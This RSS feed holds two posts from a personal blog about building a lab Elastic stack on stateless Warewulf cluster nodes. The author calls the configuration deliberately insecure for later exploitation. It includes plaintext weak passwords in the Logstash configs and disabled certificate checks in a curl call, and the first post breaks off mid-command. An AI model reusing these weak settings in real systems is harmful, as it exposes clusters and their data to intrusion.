<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by damenhotel on Medium]]></title>
        <description><![CDATA[Stories by damenhotel on Medium]]></description>
        <link>https://medium.com/@damenhotel?source=rss-df03ce50762------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*DWOs2rKwsP9lwLWlwGu3Cg.jpeg</url>
            <title>Stories by damenhotel on Medium</title>
            <link>https://medium.com/@damenhotel?source=rss-df03ce50762------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 23:42:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@damenhotel/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Fun with Elastic — Pt.2]]></title>
            <link>https://medium.com/@damenhotel/fun-with-elastic-pt-2-6110da02accf?source=rss-df03ce50762------2</link>
            <guid isPermaLink="false">https://medium.com/p/6110da02accf</guid>
            <category><![CDATA[warewulf]]></category>
            <category><![CDATA[elasticsearch]]></category>
            <dc:creator><![CDATA[damenhotel]]></dc:creator>
            <pubDate>Mon, 11 Mar 2024 22:02:41 GMT</pubDate>
            <atom:updated>2024-03-12T23:52:57.776Z</atom:updated>
            <content:encoded><![CDATA[<h3>Fun with Elastic — Pt.2</h3><p><em>This blog post does not serve as a guideline to deploying an Elastic Cluster. Dont even think about copy pasting this!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GrhZZpx0cYgcbvWVXYsobg.png" /><figcaption>Selfie ❤</figcaption></figure><h3>Prepping ELK</h3><p>We currently have 5x nodes in our cluster that are ready to run some services. Now we need to logically identify them. Our goal is to host 3x elasticsearch, 1x logstash, and 1x kibana server.</p><p>So what do our nodes look like:</p><ul><li>Nodes are booted stateless with the rootfs living in tmpfs</li><li>Each node has a HDD for local storage at /dev/sda and it is mounted to /data</li><li>/opt and /home are mounted from the warewulf master. /opt contains the pre downloaded elastic packages in tar form</li></ul><pre><br>root@n001:/opt# ls -la | grep tar<br>-rw-r--r--  1 root root 420259785 Feb 22 11:30 elasticsearch-8.12.2-linux-aarch64.tar.gz<br>-rw-r--r--  1 root root 322264508 Feb 22 11:44 kibana-8.12.2-linux-aarch64.tar.gz<br>-rw-r--r--  1 root root 345986066 Feb 22 11:48 logstash-8.12.2-linux-aarch64.tar.gz</pre><p>Below is a simple high level diagram</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XvIbe9hCmd7lPI4s2DE9uQ.png" /></figure><p>Each logical designation above via the colors will correlate to their own overlay. This will support the unique configs per each service on each node.</p><h3><strong>Deploying Elastic</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hshvGqJR6juk7wHROWq7DQ.png" /><figcaption>as elastic bands age, they lose elasticity. just like people. live, laugh, love!</figcaption></figure><p>Configure once, apply everywhere is the key here. Elastic provides various packages for their software. This includes an RPM. RPM files are great because they also contain the full home runs of the files,libraries, and binaries they hold. If we unpack this file in our overlay profile, it will apply everywhere.</p><p>To start we pull the rpm from elastic and degin unpacking</p><pre>Leap-ww:/opt # cd elastic_overlay/<br>Leap-ww:/usr/../elastic # rpm2cpio ../elasticsearch-8.12.2-aarch64.rpm | cpio -idmv<br>./etc/elasticsearch<br>./etc/elasticsearch/elasticsearch-plugins.example.yml<br>./etc/elasticsearch/elasticsearch.yml<br>./etc/elasticsearch/jvm.options<br>./etc/elasticsearch/jvm.options.d<br>./etc/elasticsearch/log4j2.properties<br>...<br><br>Leap-ww:/opt/elastic_overlay # tree -L 2 ./<br>./<br>├── etc<br>│   ├── elasticsearch<br>│   └── sysconfig<br>├── usr<br>│   ├── lib<br>│   └── share<br>└── var<br>    ├── lib<br>    └── log<br><br>Leap-ww:/opt/elastic_overlay # wwctl overlay ls elastic -a<br>OVERLAY NAME                   FILES/DIRS<br>elastic                        /etc/<br>elastic                        /etc/chrony.conf<br>elastic                        /etc/default/<br>elastic                        /etc/default/elasticsearch<br>elastic                        /etc/dhcpd.conf.ww<br>elastic                        /etc/elasticsearch/<br>elastic                        /etc/elasticsearch/certs/<br>elastic                        /etc/elasticsearch/certs/elasticsearch/<br>elastic                        /etc/elasticsearch/certs/elasticsearch/README.txt</pre><p>Now when we boot one of our physical nodes, it will contain everything to make elasticsearch run and update whenever there is a push from master.</p><p>When setting up an elastic cluster, it is best to setup inter host TLS encrypted communication between elastic services and https. As well as user auth for testing. We start by first setting up a CA, then node certs, and then user auth. These tools will prompt your for input during the setup process.</p><pre>root@n001:~# /usr/share/elasticsearch/bin/elasticsearch-certutil ca<br>root@n001:~# /usr/share/elasticsearch/bin/elasticsearch-certutil cert --ca /etc/elasticsearch/certs/es-ca.p12<br>root@n001:~# /usr/share/elasticsearch/bin/elasticsearch-certutil http</pre><p>These certs are sensitive information and should be secured. They are called from the elasticsearcg.yml file when the service starts. Below is an example elastic yml file.</p><pre>root@n001:~# cat /etc/elasticsearch/elasticsearch.yml<br>cluster.name: android-36220_cluster<br>network.host: 0.0.0.0<br>node.name: ${HOSTNAME}<br>  #node.master: true<br>  #node.data: true<br>discovery.seed_hosts: [&quot;10.66.6.50&quot;, &quot;10.66.6.51&quot;, &quot;10.66.6.52&quot;]<br>cluster.initial_master_nodes: [&quot;n001.cluster&quot;, &quot;n002.cluster&quot;, &quot;n003.cluster&quot;]<br>path:<br>  logs: /ctr/elk/logs/${HOSTNAME}<br>  data: /data/${HOSTNAME}<br><br>#----------------------- BEGIN SECURITY AUTO CONFIGURATION -----------------------<br>#<br># The following settings, TLS certificates, and keys have been automatically<br># generated to configure Elasticsearch security features on 30-01-2024 09:30:37<br>#<br># --------------------------------------------------------------------------------<br><br># Enable security features<br>xpack.security.enabled: true<br><br>xpack.security.enrollment.enabled: true<br><br># Enable encryption for HTTP API client connections, such as Kibana, Logstash, and Agents<br>xpack.security.http.ssl:<br>  enabled: true<br>  keystore.path: certs/http.p12<br><br># Enable encryption and mutual authentication between cluster nodes<br>xpack.security.transport.ssl:<br>  enabled: true<br>  verification_mode: certificate<br>  keystore.path: certs/es-certs.p12<br>  truststore.path: certs/es-certs.p12<br>#----------------------- END SECURITY AUTO CONFIGURATION -------------------------<br>root@n001:~#</pre><p>Notice I used ${HOSTNAME}. This is because this configuration file will list on every node from the master. The service will interpret the variable and assign the system hostname. This concept will be applied with all the services.</p><p><em>Also, yes, I know these are not lavish configs optimal for a production environment. But that is not the goal here. There are going to be various security faults going forward. Hopefully we will be exploiting them when it comes time :D</em></p><p>Lastly, we want the elasticsearch nodes to automatically start their services which will require a systemd target and correlating users. Warewulf overlays can updates passwd and group files from the rootfs.</p><p>This will generate the user and group at system runtime</p><pre>Leap-ww:/usr/share/warewulf/overlays/elastic/etc # cat passwd.ww group.ww<br># Uncomment the following line to enable passwordless root login<br># root::0:0:root:/root:/bin/bash<br>{{IncludeFrom $.Container &quot;/etc/passwd&quot;}}<br>elasticsearch:x:990:989:elasticsearch user:/nonexistent:/sbin/nologin<br>{{IncludeFrom $.Container &quot;/etc/group&quot;}}<br>elasticsearch:x:989:<br>Leap-ww:/usr/share/warewulf/overlays/elastic/etc #</pre><p>This will generate the systemd unit file. You can generate a full systemd unit file from the rpm.</p><pre>Leap-ww:/usr/share/warewulf/overlays/elastic/etc # ln -s /usr/lib/systemd/system/elasticsearch.service \ <br>./etc/systemd/system/multi-user.target.wants/elasticsearch.service<br><br>Leap-ww:/usr/share/warewulf/overlays/elastic # cat usr/lib/systemd/system/elasticsearch.service<br>[Unit]<br>Description=Elasticsearch<br>Documentation=https://www.elastic.co<br>Wants=network-online.target<br>After=network-online.target<br><br>[Service]<br>Type=notify<br># the elasticsearch process currently sends the notifications back to systemd<br># and for some reason exec does not work (even though it is a child). We should change<br># this notify access back to main (the default), see https://github.com/elastic/elasticsearch/issues/86475<br>NotifyAccess=all<br>RuntimeDirectory=elasticsearch<br>PrivateTmp=true<br>Environment=ES_HOME=/usr/share/elasticsearch<br>Environment=ES_PATH_CONF=/etc/elasticsearch<br>Environment=PID_DIR=/var/run/elasticsearch<br>Environment=ES_SD_NOTIFY=true<br>EnvironmentFile=-/etc/sysconfig/elasticsearch<br><br>WorkingDirectory=/usr/share/elasticsearch<br><br>User=elasticsearch<br>Group=elasticsearch<br><br>ExecStart=/usr/share/elasticsearch/bin/systemd-entrypoint -p ${PID_DIR}/elasticsearch.pid --quiet</pre><p>At the end of the day. This would be my overlay rootfs. There are various other configurations in this overlay for services like chronyd.</p><pre>Leap-ww:/usr/share/warewulf/overlays/elastic # tree -L 2 ./<br>./<br>├── etc<br>│   ├── chrony.conf<br>│   ├── default<br>│   ├── dhcpd.conf.ww<br>│   ├── elasticsearch<br>│   ├── exports.ww<br>│   ├── group.ww<br>│   ├── hosts.ww<br>│   ├── passwd.ww<br>│   ├── profile.d<br>│   ├── sysconfig<br>│   ├── sysctl.d<br>│   └── systemd<br>├── root<br>├── usr<br>│   ├── lib<br>│   └── share<br>└── var<br>    ├── lib<br>    └── log<br><br>14 directories, 6 files</pre><p>Thus, we can check on the status of our cluster. This is a testing env with limited resources, so I may not work on tuning.</p><pre>Leap-ww:/usr/share/warewulf/overlays/elastic # clush -w n00[1-3].cluster &quot;systemctl status elasticsearch | grep Active&quot;<br>n002.cluster:      Active: active (running) since Sun 2024-03-10 00:41:41 UTC; 30min ago<br>n001.cluster:      Active: active (running) since Sun 2024-03-10 00:41:12 UTC; 31min ago<br>n003.cluster:      Active: active (running) since Sun 2024-03-10 00:42:23 UTC; 29min ago<br><br>Leap-ww:/opt/elastic_overlay # curl -XGET -u elastic:XXXXXXXX -k https://n001.cluster:9200/_cluster/health?pretty<br>{<br>  &quot;cluster_name&quot; : &quot;android-36220_cluster&quot;,<br>  &quot;status&quot; : &quot;green&quot;,<br>  &quot;timed_out&quot; : false,<br>  &quot;number_of_nodes&quot; : 3,<br>  &quot;number_of_data_nodes&quot; : 3,<br>  &quot;active_primary_shards&quot; : 1,<br>  &quot;active_shards&quot; : 2,<br>  &quot;relocating_shards&quot; : 0,<br>  &quot;initializing_shards&quot; : 0,<br>  &quot;unassigned_shards&quot; : 0,<br>  &quot;delayed_unassigned_shards&quot; : 0,<br>  &quot;number_of_pending_tasks&quot; : 0,<br>  &quot;number_of_in_flight_fetch&quot; : 0,<br>  &quot;task_max_waiting_in_queue_millis&quot; : 0,<br>  &quot;active_shards_percent_as_number&quot; : 100.0<br>}</pre><p>This setup affords me a lot of horizontal scalability I can spin up any physical node now and it will be added to the elastic cluster with a minor configuration change from the overlay elasticsearch.yml and also creating more certs.</p><h3><strong>Deploying Kibana</strong></h3><p>Same procedure as above but for kibana</p><pre>Leap-ww:/opt # wget https://artifacts.elastic.co/downloads/kibana/kibana-8.12.2-aarch64.rpm<br>Leap-ww:/usr/share/warewulf/overlays/kibana # rpm2cpio /opt/kibana-8.12.2-aarch64.rpm | cpio -idmv<br>./etc/kibana/kibana.yml<br>./etc/kibana/node.options<br>./etc/sysconfig/kibana<br>./run/kibana<br>./usr/lib/.build-id<br>...<br><br>Leap-ww:/usr/share/warewulf/overlays/kibana # tree -L 2 ./<br>./<br>├── etc<br>│   ├── chrony.conf<br>│   ├── dhcpd.conf.ww<br>│   ├── exports.ww<br>│   ├── group.ww<br>│   ├── hosts.ww<br>│   ├── kibana<br>│   ├── passwd.ww<br>│   ├── profile.d<br>│   ├── sysconfig<br>│   └── sysctl.d<br>├── root<br>├── run<br>│   └── kibana<br>├── usr<br>│   ├── lib<br>│   └── share<br>└── var<br>    ├── lib<br>    └── log</pre><p>Then we need to generate a cert and key from our elasticsearch CA for kibana’s HTTPS support. We then copy the files to the overlay and unpack them.</p><pre>root@n001:/usr/share/elasticsearch# bin/elasticsearch-certutil cert \<br>--ca /etc/elasticsearch/certs/es-ca.p12 --pem<br><br>Leap-ww:/usr/share/warewulf/overlays/kibana # scp n001.cluster:/tmp/kibana.zip ./etc/kibana/certs/<br><br>Leap-ww:/usr/share/warewulf/overlays/kibana/etc/kibana/certs # ls -la<br>total 20<br>drwxr-xr-x 1 996 967  144 Feb 27 07:19 .<br>drwxr-xr-x 1 996 967   84 Feb 27 06:13 ..<br>-rw------- 1 996 967 2472 Feb 27 05:41 csr-bundle.zip<br>-rw-r--r-- 1 996 967 1200 Feb 26 16:14 elasticsearch-ca.pem<br>drwxr-xr-x 1 996 967   48 Mar 10  2024 instance<br>-rw-r--r-- 1 996 967 1147 Feb 27 07:19 kibana.crt<br>-rw-r--r-- 1 996 967 1675 Feb 27 07:19 kibana.key<br>-rw------- 1 996 967 2542 Feb 27 07:16 kibana.zip</pre><p>Next we update the kibana.yml file.</p><pre># =================== System: Kibana Server (Optional) ===================<br># Enables SSL and paths to the PEM-format SSL certificate and SSL key files, respectively.<br># These settings enable SSL for outgoing requests from the Kibana server to the browser.<br>server.ssl.enabled: true<br>server.ssl.certificate: certs/kibana.crt<br>server.ssl.key: certs/kibana.key</pre><p>Yay! now we have kibana configured… mostly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CL8OltzREOCBQEewg89fDw.png" /></figure><h3>Deploy Logstash</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z0GEF34SGXpOMxahnEZWdA.png" /><figcaption>Im an amazing artist.</figcaption></figure><p>We are going to do things a little different with logstash. To deploy logstash, we are going to use overlapping overlays. Currently, the kibana node is up and running. While it is running, we can add and remove overlays which will downstream to how the node is configured.</p><p>This is great if you have a cluster of many physical computers and quickly need to repurpose them. Or in our situation, we can call any node to quickly deploy logstash services.</p><p>Lets start out with an empty overlay and progress from there.</p><pre>Leap-ww:/usr/share/warewulf/overlays/logstash # ls<br><br>Leap-ww:/usr/share/warewulf/overlays/logstash # rpm2cpio /opt/logstash-8.12.2-aarch64.rpm | cpio -idmv<br>./etc/default/logstash<br>./etc/logstash/conf.d<br>./etc/logstash/jvm.options<br>./etc/logstash/log4j2.properties<br>./etc/logstash/logstash-sample.conf<br>./etc/logstash/logstash.yml<br>...<br><br>Leap-ww:/usr/share/warewulf/overlays/logstash # cat ./etc/{passwd.ww,group.ww}<br># Uncomment the following line to enable passwordless root login<br># root::0:0:root:/root:/bin/bash<br>{{IncludeFrom $.Container &quot;/etc/passwd&quot;}}<br>logstash:x:990:989:logstash:/usr/share/logstash:/sbin/nologin<br>{{IncludeFrom $.Container &quot;/etc/group&quot;}}<br>logstash:x:989:<br><br>Leap-ww:/usr/share/warewulf/overlays/logstash # chown 990:989 -R ./etc/logstash<br>Leap-ww:/usr/share/warewulf/overlays/logstash # chown 990:989 -R ./usr/share/logstash<br></pre><p>You’ll notice this overlay does not contain much. No system configurations for chrony or other supporting internal node services. its primary goal is to be a drop-in logstash deployer. All we need to do now is setup its configuration.</p><p>First create drop-in certs for logstash authentication</p><pre>Leap-ww:/usr/share/warewulf/overlays/elastic/etc/elasticsearch/certs/logstash # \<br>openssl pkcs12 -in ../es-certs.p12 -out logstash.pem -clcerts -nokeys<br>openssl pkcs12 -in ../es-certs.p12 -nocerts -nodes | sed -ne &#39;/-BEGIN PRIVATE KEY-/,/-END PRIVATE KEY-/p&#39; &gt; logstash-ca.key     <br>openssl pkcs12 -in ../es-certs.p12 -cacerts -nokeys -chain | sed -ne &#39;/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p&#39; &gt; logstash-ca.crt<br>openssl pkcs12 -in ../es-certs.p12 -clcerts -nokeys | sed -ne &#39;/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p&#39; &gt; logstash.crt<br><br>Leap-ww:/usr/...elastic/etc/elasticsearch/certs/logstash # cp -rp ./* ../../../../../logstash/etc/logstash/certs/<br><br>Leap-ww:/usr/.../logstash/etc/logstash/certs # chown 990:989 -R ./</pre><p>Next setup logstash pipelines</p><pre>Leap-ww:/usr/share/warewulf/overlays/logstash/etc/logstash # ls -la conf.d/perri.conf<br>-rw-r--r-- 1 990 989 366 Feb 27 08:17 conf.d/perri.conf<br><br>Leap-ww:/usr/share/warewulf/overlays/logstash/etc/logstash # cat conf.d/perri.conf<br>input {<br>  beats {<br>  port =&gt; 5044<br>  }<br>  }<br>output {<br>  elasticsearch {<br>  ssl =&gt; true<br>  ssl_certificate_verification =&gt; true<br>  cacert =&gt; &#39;/etc/logstash/certs/logstash-ca.crt&#39;<br>  hosts =&gt; [&quot;n001.cluster:9200&quot;,&quot;n002.cluster:9200&quot;,&quot;n003.cluster:9200&quot;]<br>  index =&gt; &quot;%{[@metadata][beat]}-%{[@metadata][version]}-%{+YYYY.MM.dd}&quot;<br>  user =&gt; &quot;elastic&quot;<br>  password =&gt; &quot;elastic&#39;s default password :)&quot;<br>  }<br>  }</pre><p>and yaml</p><pre>Leap-ww:/usr/share/warewulf/overlays/logstash/etc/logstash # cat logstash.yml<br>path.data: /data/logstash<br>config.reload.automatic: true<br>path.logs: /ctr/elk/logs/logstash<br>xpack.monitoring.enabled: true<br>xpack.monitoring.elasticsearch.username: logstash_system<br>xpack.monitoring.elasticsearch.password: elastic<br>xpack.monitoring.elasticsearch.hosts: [&quot;https://n001.cluster:9200&quot;, &quot;https://n002.cluster:9200&quot;, &quot;https://n003.cluster:9200&quot;]<br>xpack.monitoring.elasticsearch.ssl.certificate_authority: /etc/logstash/certs/logstash-ca.crt<br>xpack.monitoring.elasticsearch.sniffing: true<br>xpack.monitoring.collection.interval: 10s<br>xpack.monitoring.collection.pipeline.details.enabled: true</pre><p>Now this is the fun part. I used to love things like ansible and puppet. The way they are able to thread and direct automated tasks makes life super easy. But something even easier is deploying a solution like this</p><pre>Leap-ww:/usr/share/warewulf/overlays/logstash/etc/logstash # wwctl node set -R kibana,logstash n004.cluster -y<br><br>Leap-ww:/usr/share/warewulf/overlays/logstash/etc/logstash # wwctl node ls --long<br>NODE NAME              KERNEL OVERRIDE  CONTAINER        OVERLAYS (S/R)<br>=====================================================================================<br>login01.cluster        alma-9-stig      alma-9-stig      wwinit-login/login<br>n001.cluster           alma-9-stig      alma-9-stig      wwinit/elastic<br>n002.cluster           alma-9-stig      alma-9-stig      wwinit/elastic<br>n003.cluster           alma-9-stig      alma-9-stig      wwinit/elastic<br>n004.cluster           alma-9-stig      alma-9-stig      wwinit/kibana,logstash<br>n005.cluster           alma-9-stig      alma-9-stig      wwinit/host</pre><p>And thats it. No wait around time for things to copy and configure on a node. No issues with paramiko SSH (looking at you ansible…). Just a random node with a task deployed.</p><p>Now lets test logstash</p><pre>bash-5.1$ /usr/share/logstash/bin/logstash -f &quot;/etc/logstash/conf.d/*.conf&quot; --path.settings &quot;/etc/logstash/&quot;<br>Using bundled JDK: /usr/share/logstash/jdk<br>/data/workdir/usr/share/logstash/vendor/bundle/jruby/3.1.0/gems/concurrent-ruby-1.1.9/lib/concurrent-ruby/concurrent/executor/java_thread_pool_executor.rb:13: warning: method redefined; discarding old to_int<br>/data/workdir/usr/share/logstash/vendor/bundle/jruby/3.1.0/gems/concurrent-ruby-1.1.9/lib/concurrent-ruby/concurrent/executor/java_thread_pool_executor.rb:13: warning: method redefined; discarding old to_f<br>Sending Logstash logs to /ctr/elk/logs/logstash which is now configured via log4j2.properties<br>[2024-03-12T13:20:12,296][INFO ][logstash.runner          ] Log4j configuration path used is: /etc/logstash/log4j2.properties<br>[2024-03-12T13:20:12,301][INFO ][logstash.runner          ] Starting Logstash {&quot;logstash.version&quot;=&gt;&quot;8.12.2&quot;, &quot;jruby.version&quot;=&gt;&quot;jruby 9.4.5.0 (3.1.4) 2023-11-02 1abae2700f OpenJDK 64-Bit Server VM 17.0.10+7 on 17.0.10+7 +indy +jit [aarch64-linux]&quot;<br>...<br>[2024-03-12T13:20:13,555][INFO ][org.logstash.beats.Server][main][6edc7d90252bba71321095f4e39581d6c089f432ef2c0aa507bf204d1a37da1f] Starting server on port: 5044</pre><p>Part3 [linkl]</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6110da02accf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fun with Elastic —  Pt.1]]></title>
            <link>https://medium.com/@damenhotel/fun-with-elastic-pt-1-217d2f9ab062?source=rss-df03ce50762------2</link>
            <guid isPermaLink="false">https://medium.com/p/217d2f9ab062</guid>
            <category><![CDATA[warewulf]]></category>
            <category><![CDATA[elastic]]></category>
            <category><![CDATA[elasticsearch]]></category>
            <dc:creator><![CDATA[damenhotel]]></dc:creator>
            <pubDate>Sun, 10 Mar 2024 01:19:18 GMT</pubDate>
            <atom:updated>2024-03-11T22:03:03.297Z</atom:updated>
            <content:encoded><![CDATA[<h3>Fun with Elastic — Pt.1</h3><p><em>This blog post does not serve as a guideline to deploying an Elastic Cluster. Unless you do everything I did and then deploy your own cluster using this medium blog post as a reference. But I don’t recommend that.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E_B7WFcT2drp8QHWZGR7GA.png" /><figcaption>Photo of ELK not AI generated — Myself</figcaption></figure><p>I’m tasking myself to deploy an Elastic Cluster for fun. I will be using these medium posts as a medium to document the process. This post is somewhat of a prelude to deploying the ELK stack, explaining my setup, and some concepts. The deployment must meet these criteria.</p><ul><li>The nodes must be stateless</li><li>Cluster must use the full ELK stack (Elastic, Logstash, Kibana)</li><li>An additional service needs to be added</li><li>DISA STIG imaged nodes</li><li>Maybe deploy some ransomware</li></ul><p><strong>Prerequisites</strong></p><ul><li>A host with warewulf4 installed and configured</li><li>5x additional hosts to boot images on</li><li>clustershell installed and configured</li></ul><p><strong>Stateless Environments</strong></p><p>A stateless node runs within system memory. Meaning, if the node reboots it will not retain any persistent writes. The server that it runs on does not retain an operating system(OS) or even require a storage medium.</p><p>How does the OS boot?</p><p>The OS is actually a container! A simple image with all of the needed software to run. Many tech enthusiasts use containers that run on their physical host machine’s OS that has booted statefully from a hard drive. Managed through Podman, LXC, or Docker to quickly deploy services.</p><p>How is this accomplished?</p><p>If we can not boot from a harddrive or something on the host itself; our only other option is the network. Enter “PXE booting”. This is how many cloud providers deploy OSs to their physical systems and we can mock their setup locally.</p><p>PXE is a boot option for many computers and servers. Essentially, a “Master” server emits DHCP packets to the network. The DHCP packet received by the client node provides information that PXE then uses to connect to a TFTP server. The TFTP server hosts a bootable linux kernel and a bootable OS image. This one-to-many relationship helps in administration, deployment, and consistency.</p><p>Its also super cool and completely unnecessary to deploy a cluster this way. An easier avenue would be to build multiple VMs or containers to run services. But VHDs take up space… If your nodes are stateless, you never need to install a full OS that will take up disk space. At any point, you can spin up linux distributions using one VM never needing to wait around for an install.</p><p>As overlays are introduced, you will have the capability to version control many nodes from a central location. This can be system config, service config, and binary files. This is, in some sense, complete applied application white listing and secure configuration compliance.</p><h3><strong>Wolves</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qI1G5GxIwqDErn-mrsmUcw.png" /><figcaption>Photo of red wolf from south eastern US circa 1948 not generated by AI — Myself</figcaption></figure><p>Warewulf is a cluster management solution used to manage and deploy many nodes via “containers”. I will not walk through the installation of warewulf4 since its relatively straight forward and can be found below.</p><p><a href="https://warewulf.org/docs/main/contents/installation.html">Warewulf Installation - Warewulf User Guide main documentation</a></p><p>My setup is super simple. I am using a hypervisor on a laptop with a vnet of 10.66.6.0/24. You do not want to run warewulf on a bind mounted NIC. It will push DHCP packets to your network. no bueno</p><p>First off, we need a containerized OS to boot our nodes. The mgmt node is currently opensuse-leap, but I would like to boot my nodes with almalinux. I would also like the nodes configured with DISA STIG Compliance. To achieve this I will build a simple image from repo1.dso.mil.</p><pre># Git clone stigged container from repo1<br>Leap-ww:/w/git # git clone https://repo1.dso.mil/dsop/redhat/ubi/8.x/ubi8.git<br><br># Modify the Dockerfile FROM statement to pull from &quot;almalinux:8.9&quot;<br># And commend out the subscription-manager line <br>Leap-ww:/w/git/ubi8 # grep FROM Dockerfile<br>FROM almalinux:8.9<br><br>Leap-ww:/w/git/ubi8 # podman build --tag alma8.9-stig -f Dockerfile<br>STEP 1/10: FROM almalinux:latest<br>STEP 2/10: COPY scripts /dsop-fix/<br>...<br>Successfully tagged localhost/alma8.9-stig:latest<br>312bf0dc479a72069460c159842060d82aef7af83574587c9064afb712f4388f<br><br>Leap-ww:/w/git/ubi8 # podman image ls | grep stig<br>localhost/alma8.9-stig             latest      312bf0dc479a  50 seconds ago  401 MB<br></pre><p>Great, now we have a baseline DISA STIG’d AlmaLinux 8.9 container. But there is still some extra work needed to make it bootable and work with warewulf services. These additional packages are required and could be included in the Dockerfile. Below I will show the process manually</p><pre>Leap-ww:/w/git/ubi8 # podman run -ti --name updates 312bf0dc479a /bin/bash<br>[root@4e9379ca7004 /]# dnf update -y \<br>&gt;     &amp;&amp; dnf install -y --allowerasing \<br>&gt;       coreutils \<br>&gt;       cpio \<br>&gt;       dhclient \<br>&gt;       e2fsprogs \<br>&gt;       ethtool \<br>&gt;       findutils \<br>&gt;       initscripts \<br>&gt;       ipmitool \<br>&gt;       iproute \<br>&gt;       kernel-core \<br>&gt;       kernel-modules \<br>&gt;       net-tools \<br>&gt;       NetworkManager \<br>&gt;       nfs-utils \<br>&gt;       openssh-clients \<br>&gt;       openssh-server \<br>&gt;       pciutils \<br>&gt;       psmisc \<br>&gt;       rsync \<br>&gt;       rsyslog \<br>&gt;       strace \<br>&gt;       wget \<br>&gt;       which \<br>&gt;       words \<br>&gt;     &amp;&amp; dnf clean all<br>...<br>Complete!<br>28 files removed<br><br>[root@4e9379ca7004 /]# exit<br>exit<br>Leap-ww:/w/git/ubi8 # podman ps -a<br>CONTAINER ID  IMAGE                          COMMAND     CREATED             STATUS                    PORTS       NAMES<br>4e9379ca7004  localhost/alma8.9-stig:latest  /bin/bash   About a minute ago  Exited (0) 4 seconds ago              updates<br><br>Leap-ww:/w/git/ubi8 # podman commit 4e9379ca7004 alma8.9-stig<br>Getting image source signatures<br>Copying blob 2dc2f577b049 skipped: already exists<br>Copying blob 354c5826ecaa skipped: already exists<br>Copying blob eb6d5bcdf030 skipped: already exists<br>Copying blob df86630b3ef5 skipped: already exists<br>Copying blob 0585f549645c skipped: already exists<br>Copying blob 70b9e9929832 skipped: already exists<br>Copying blob 52299209e1fd skipped: already exists<br>Copying blob 891c04707079 done   |<br>Copying config a5674cb8f7 done   |<br>Writing manifest to image destination<br>a5674cb8f745a2822bc3c13f9ab6b61f88fc8b0aa611e1d5bfea1a1a9da5044e<br><br>Leap-ww:/w/git/ubi8 # podman image ls | grep stig<br>localhost/alma8.9-stig             latest      a5674cb8f745  19 seconds ago  1.43 GB<br>#BACKUP</pre><p>Lastly, we export the container, import it into warewulf, and setup the kernel.</p><pre>Leap-ww:/w # podman save a5674cb8f745 &gt; ../../alma-9-stig.tar.gz<br><br>Leap-ww:/w # wwctl container import /w/alma8.9-stig.tar.gz elastic<br>Copying blob 2dc2f577b049 done<br>Copying blob 354c5826ecaa done<br>Copying blob eb6d5bcdf030 done<br><br>Leap-ww:/w # wwctl container ls<br>CONTAINER NAME   NODES  KERNEL VERSION   CREATION TIME        MODIFICATION TIME    SIZE<br>alma-9.tar       6      5.14.0-362.18.1.el9_3.aarch64 18 Feb 24 09:46 AKST 19 Feb 24 14:32 AKST 4.4 GiB<br>alma-9-stig          0      4.18.0-513.18.1.el8_9.aarch64 26 Feb 24 07:39 AKST 26 Feb 24 07:39 AKST 3.1 GiB<br>rocky-8          0      4.18.0-513.9.1.el8_9.aarch64 18 Feb 24 08:37 AKST 18 Feb 24 08:59 AKST 2.8 GiB<br>rocky-9          0      5.14.0-362.13.1.el9_3.aarch64 18 Feb 24 08:48 AKST 18 Feb 24 10:13 AKST 2.0 GiB<br>Leap-ww:/w # wwctl kernel import -DC alma-9-stig<br>Found kernel at: /usr/share/warewulf/chroots/elastic/rootfs/lib/modules/4.18.0-513.18.1.el8_9.aarch64/vmlinuz<br>Created image for elastic drivers: /var/lib/warewulf/kernel/elastic/kmods.img<br>Compressed image for elastic drivers: /var/lib/warewulf/kernel/elastic/kmods.img.gz<br>elastic: Done<br>Leap-ww:/w #</pre><pre>Leap-ww:/w # wwctl container ls | grep stig<br>alma-9-stig      0      5.14.0-362.18.1.el9_3.aarch64 26 Feb 24 08:07 AKST 26 Feb 24 08:07 AKST 2.0 GiB<br>Leap-ww:/w # wwctl kernel ls | grep stig<br>alma-9-stig                         5.14.0-362.18.1.el9_3.aarch64      0</pre><p>Since the nodes are DISA STIG’d, there are additional settings we will need to configure. Mainly SSH and adding an admin type user</p><pre>Leap-ww:/w # wwctl container exec alma-9-stig /bin/bash<br>bash: /etc/bashrc: line 69: unexpected EOF while looking for matching ``&#39;<br>bash: /etc/bashrc: line 90: syntax error: unexpected end of file<br>[alma-9-stig] Warewulf&gt; useradd damenhotel<br>[alma-9-stig] Warewulf&gt; ls -la /home/<br>total 0<br>drwxr-xr-x 1 root       root        20 Feb 26 17:36 .<br>drwxr-xr-x 1 root       root       130 Jan  1  1970 ..<br>drwx------ 1 damenhotel damenhotel  64 Feb 26 17:36 damenhotel<br>[alma-9-stig] Warewulf&gt; usermod -aG wheel damenhotel<br>[alma-9-stig] Warewulf&gt;<br><br># Append a match adress line for your network <br>/etc/ssh/sshd_config <br>Match User root Address 10.66.6.10<br> PubkeyAuthentication yes<br>        AuthenticationMethods publickey</pre><p>Now we have cluster management</p><pre>Leap-ww:/usr/share/warewulf/overlays # clush -g 